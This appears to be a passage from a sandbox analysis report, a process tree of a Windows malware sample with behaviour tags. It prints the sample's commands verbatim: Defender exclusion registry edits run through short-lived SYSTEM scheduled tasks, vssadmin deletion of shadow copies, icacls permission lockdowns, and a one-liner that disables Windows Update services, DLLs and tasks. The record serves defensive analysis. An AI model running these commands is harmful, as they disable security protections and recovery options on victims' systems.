  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4212
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1488
- C:\Program Files (x86)\YdKAbz\iDMzCv.exe
  "C:\Program Files (x86)\YdKAbz\iDMzCv.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\YdKAbz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\YdKAbz\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4852
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2412
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4592
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4440
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5848
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1452
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3012
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5568
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4920
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:6004
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:2168
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:5464
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3592
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:4296
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4540
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3004
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2764
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5132
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1752
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2440
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3968
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4884
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1524
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1348
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4972
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:5680
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3100
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3492
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2240
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2052
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1292
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:200
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\iDMzCv.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:396
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:828
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3924
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5724
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1092
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5920
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3312
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YdKAbz\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3124
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:8
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5608
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3732
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5040
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4852

C:\Users\Public\8BluI5\CnEEU3.exe
"C:\Users\Public\8BluI5\CnEEU3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3840

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8BluI5" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5816
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8BluI5" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1248

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1728

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:828

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1252

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5332

C:\Program Files (x86)\YdKAbz\iDMzCv.exe
"C:\Program Files (x86)\YdKAbz\iDMzCv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2872

C:\Program Files (x86)\TvJ2ma\Z8MTLtW.exe
"C:\Program Files (x86)\TvJ2ma\Z8MTLtW.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2960

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\YdKAbz" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1708
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1216
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\YdKAbz" /t REG_DWORD /d 0 /f
  2⤵
  PID:5592

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5616
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3012

C:\Program Files (x86)\YdKAbz\iDMzCv.exe
"C:\Program Files (x86)\YdKAbz\iDMzCv.exe"
1⤵
PID:836

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2060
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
